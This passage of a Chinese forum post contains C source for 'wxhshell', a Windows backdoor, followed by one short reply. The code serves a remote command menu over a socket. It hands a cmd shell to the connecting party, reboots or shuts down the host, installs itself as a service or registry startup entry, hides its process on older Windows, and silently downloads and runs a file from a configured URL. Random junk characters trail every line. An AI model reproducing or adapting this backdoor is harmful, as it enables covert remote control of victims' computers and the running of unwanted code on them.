  send(wsh,msg_ws_down,strlen(msg_ws_down),0); "\wDS2M)  
  if(DownloadFile(cmd,wsh)) FB?q/ _  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); %Q>~7P  
  else Q>06dO~z8  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JI{OGr  
  } :G6 xJlE|  
  else { @ U7#, G  
BXKlO(7  
    switch(cmd[0]) { 8iII) +  
  o|Yn(xu-  
  // 帮助 fF9;lWt  
  case '?': { &-=G9sb,  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 2Mv)0%,c  
    break; cP$wI;P  
  } GA%"w=M\  
  // 安装 TV$\v@\ =  
  case 'i': { }+QhW]nO{F  
    if(Install()) 6_ 33*/>=c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E#&c]9QM75  
    else 4F1.D9u  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r P<d[u  
    break; 3thG*^C5  
    } P^uP$D  
  // 卸载 LRqw\fKk[  
  case 'r': { 6@,'m  
    if(Uninstall()) Q T0IW(A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6cgpg+-a  
    else )\:lYI}Wpm  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2s]]!{Z#  
    break; f0HV*%8  
    } 3f7t%  
  // 显示 wxhshell 所在路径 }tl8(kjm  
  case 'p': { H *z0xxa  
    char svExeFile[MAX_PATH]; KNUMz4  
    strcpy(svExeFile,"\n\r"); gpO_0U4lQ]  
      strcat(svExeFile,ExeFile); ,_TH@0{   
        send(wsh,svExeFile,strlen(svExeFile),0); s$+: F$Y0  
    break; NXV~[  
    } yC&b-y  
  // 重启 US*<I2ZLh  
  case 'b': { GFy0R"&d[  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); T[8"u<O96  
    if(Boot(REBOOT)) z wniS6R1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2+r )VF:  
    else { EnsNO_"e|  
    closesocket(wsh); @poMK:  
    ExitThread(0); 4BUK5)B  
    } iJynR [7  
    break; ,& pF:ql F  
    } Pvb+   
  // 关机 2)j#O  
  case 'd': { ^r?sgJ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); s].'@_~s  
    if(Boot(SHUTDOWN)) F%ylR^H>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); STF}~`b:3  
    else { V+"*A  
    closesocket(wsh); GQ8D j!8  
    ExitThread(0); H(*=9  
    } Pc\4 QvQ8  
    break; _ UVX  
    } | xErA  
  // 获取shell C\hZ;Z1  
  case 's': { k0Vo  
    CmdShell(wsh); LBiv]3  
    closesocket(wsh); b\e)PUm#u@  
    ExitThread(0); `'WY'\|C  
    break; l2KxZteXY0  
  } Al-%j- j@-  
  // 退出 =[tls^  
  case 'x': { a?Qcf;o  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Stp*JU  
    CloseIt(wsh); { P\8g8  
    break; r+W 8m?oi  
    } 9rvxp;  
  // 离开 KohQ6q  
  case 'q': { 5yN8%_)T  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); bZ@53  
    closesocket(wsh); Xy(SzJ %  
    WSACleanup(); D*2p  
    exit(1); $d"f/bRWy  
    break; 1 069]  
        } qKb- aP-  
  } !kk %;XSZ  
  } gm%bxr@X~  
3lrZ-k+S{  
  // 提示信息 >|o9ggL`J5  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1 0Tg > H  
} Gv2./<{#  
  } PTc\I  
G<WDyoN=O  
  return; @W5hrei  
} JV6U0$g_S  
r :MaAT<  
// shell模块句柄 @xM!:  
int CmdShell(SOCKET sock) d}B_ll#j-  
{ \5pAG mgD  
STARTUPINFO si; iJj?~\zp  
ZeroMemory(&si,sizeof(si)); i(cb&;Xx:A  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; V;+$/>J`vB  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; GyXs{*  
PROCESS_INFORMATION ProcessInfo; 5]n<%bP\  
char cmdline[]="cmd"; !Pjg&19  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); lIc9, |FL  
  return 0; nJ0eZBgB]  
} z o))x(  
1NHoIX  
// 自身启动模式 :8!3*C-=  
int StartFromService(void) E1 gTrMo  
{ {3p7`h~  
typedef struct aKFA&Xnsl  
{ )LMuxj  
  DWORD ExitStatus; 7(+ZfY~w"  
  DWORD PebBaseAddress; t=\[J+  
  DWORD AffinityMask; b)`#^uxxJ  
  DWORD BasePriority; 8&[<pbN)  
  ULONG UniqueProcessId; R{y{  
  ULONG InheritedFromUniqueProcessId; ^3@a0J=F  
}   PROCESS_BASIC_INFORMATION; O0*L9C/Q  
pj-HLuZR  
PROCNTQSIP NtQueryInformationProcess; e8uIh[+ 0  
/Rcd}rO  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 2bG4 ,M  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; TdOWdPvYj  
$=QO_t)?  
  HANDLE             hProcess; %oKc?'L0  
  PROCESS_BASIC_INFORMATION pbi; lNeF>zz  
Bst>9V&R  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 7a_n\]t465  
  if(NULL == hInst ) return 0; d"`>&8*  
5i-;bLm  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Vwg|?sG_  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); `} Zbfe~  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 1,!\7@<CT  
yl+)I  
  if (!NtQueryInformationProcess) return 0; K[yJu 4  
@X><lz  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 34M.xB   
  if(!hProcess) return 0; csA.3|rv  
tnbs]6  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +dpj?  
3EX&.OL!  
  CloseHandle(hProcess); g<tTZD\g  
|}.B!vg(4  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); i1\ /\^  
if(hProcess==NULL) return 0; bc}OmPE  
SJ_cwYwI$  
HMODULE hMod; c'TLD!^hB  
char procName[255]; !w\;Q8irN  
unsigned long cbNeeded; 72.IhBNtT  
DH*|>m&  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ew ,edU  
mqc Z3lsv  
  CloseHandle(hProcess); g;Q^_4@  
]p.f*]  
if(strstr(procName,"services")) return 1; // 以服务启动 NGZ>:  
T.N7`  
  return 0; // 注册表启动 4$w-A-\ t  
} bjX$idL  
YHtI%  
// 主模块 aq| [g  
int StartWxhshell(LPSTR lpCmdLine) Jm,X~Si  
{ aT1 W] i  
  SOCKET wsl; BFu9KS+@)  
BOOL val=TRUE; a8P 6-)W  
  int port=0; CP#MNNvgrw  
  struct sockaddr_in door; R*#Q=_  
;//q jo  
  if(wscfg.ws_autoins) Install(); )L("t  
HCy}'}d  
port=atoi(lpCmdLine); )cBV; E<  
qf$|z`c  
if(port<=0) port=wscfg.ws_port; 3YF]o9  
~?+m=\  
  WSADATA data; ~i#xjD5  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; l:/V%{sx  
)%c)-c  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   =W^L8!BE'  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ADUI@#vk  
  door.sin_family = AF_INET; ")buDU6_  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); <4bo7XH  
  door.sin_port = htons(port); gZ  Si\m>  
OB@t(KNx*P  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { g o Z#  
closesocket(wsl); `W S  
return 1; ~H~4 fp b  
} ~[,TLg 6  
J0plQDe  
  if(listen(wsl,2) == INVALID_SOCKET) { +zPg`/  
closesocket(wsl); R7b*(33  
return 1; f|E'eFrFk  
} bx6}zkf&  
  Wxhshell(wsl); \~1+T  
  WSACleanup(); t!C-G+It  
F+r6/e6a  
return 0; 2p[3Ap  
{<8#T`I  
} "& |2IA  
] 6B!eB !  
// 以NT服务方式启动 l0 _O<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ]gk1h=Y~h  
{ =Bx~'RYl1d  
DWORD   status = 0; 9?6$ 2I  
  DWORD   specificError = 0xfffffff; .r"?w  
9>P(eN  
  serviceStatus.dwServiceType     = SERVICE_WIN32; [! BH3J!  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 8r,%!70  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; |th )Q  
  serviceStatus.dwWin32ExitCode     = 0; _xsYcw~)  
  serviceStatus.dwServiceSpecificExitCode = 0; vBXr[XoC  
  serviceStatus.dwCheckPoint       = 0;  e:R[  
  serviceStatus.dwWaitHint       = 0; UGgi)  
t9{EO#o' k  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); yh<aFYdk  
  if (hServiceStatusHandle==0) return; =,]M$M  
%V/]V,w:*R  
status = GetLastError(); wUndNE   
  if (status!=NO_ERROR) SQx):L)P6  
{ 8A_(]Q  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; n\Nl2u& m  
    serviceStatus.dwCheckPoint       = 0; /Qy0vAvJ  
    serviceStatus.dwWaitHint       = 0; np(<Ap r  
    serviceStatus.dwWin32ExitCode     = status; I78pul8!  
    serviceStatus.dwServiceSpecificExitCode = specificError; \[jItg,+  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); v$Z1Lh  
    return; cxdM!L; `  
  } (5 hu W7v  
_=#mmZkq  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 58,mu#yq6  
  serviceStatus.dwCheckPoint       = 0; ;zODp+4@Q  
  serviceStatus.dwWaitHint       = 0; "(GeW286k  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); EG6fC4rfC  
} IgJC>;]u  
%4J?xhd  
// 处理NT服务事件,比如:启动、停止 @RW%EXKt  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 6 H.Da]hk  
{ y 6< tV.  
switch(fdwControl) 1uMdgrJRR  
{ {lJpcS  
case SERVICE_CONTROL_STOP: } d6^  
  serviceStatus.dwWin32ExitCode = 0; 471}'3  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; *uR'eXW  
  serviceStatus.dwCheckPoint   = 0; cB^lSmu5  
  serviceStatus.dwWaitHint     = 0; Gx($q;8  
  { Sq%R  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); oef(i}8O@  
  } g.Q ?Z{  
  return; )&K%Me  
case SERVICE_CONTROL_PAUSE: .+sIjd  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; uWE@7e4'I  
  break; .CYkb8hF  
case SERVICE_CONTROL_CONTINUE: zT"#9"["  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 9"TPDU7"  
  break; |.5d^z  
case SERVICE_CONTROL_INTERROGATE: Dlp::U*N'  
  break; ,@xZuq+K<  
}; ;C'*Ui  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +,,~ <Vm  
} bql6Z1l  
{;r5]wimb  
// 标准应用程序主函数 C 4,W[L]4"  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) =9-c*bL  
{ vr$ [  
'"Gi&:*nQ<  
// 获取操作系统版本 ko$R%W&T  
OsIsNt=GetOsVer(); =8-e1R/  
GetModuleFileName(NULL,ExeFile,MAX_PATH); /DCUwg=0  
T=vI'"w  
  // 从命令行安装 N{0 D<"  
  if(strpbrk(lpCmdLine,"iI")) Install(); XOMWqQr|  
lx SGvvP4  
  // 下载执行文件 cqDnZ`|6  
if(wscfg.ws_downexe) { G(i/ @>l  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) wB@A?&UY  
  WinExec(wscfg.ws_filenam,SW_HIDE); ,O(uuq  
} ryP z q}#  
p{Uro!J,K  
if(!OsIsNt) { XQ>m8K?\d  
// 如果时win9x,隐藏进程并且设置为注册表启动 utv.uwfat  
HideProc(); %?ad.F+7  
StartWxhshell(lpCmdLine); -VL3em|0  
} Jh1fM`kB5K  
else #\qES7We 6  
  if(StartFromService()) * -)aGL  
  // 以服务方式启动 oID, PB*9  
  StartServiceCtrlDispatcher(DispatchTable); &LE/hA  
else |yr}g-m  
  // 普通方式启动 *"wsMO  
  StartWxhshell(lpCmdLine); NeH^g0Q2,g  
GI/o!0"_  
return 0; 70@:!HI]  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
10+5=?,请输入中文答案:十五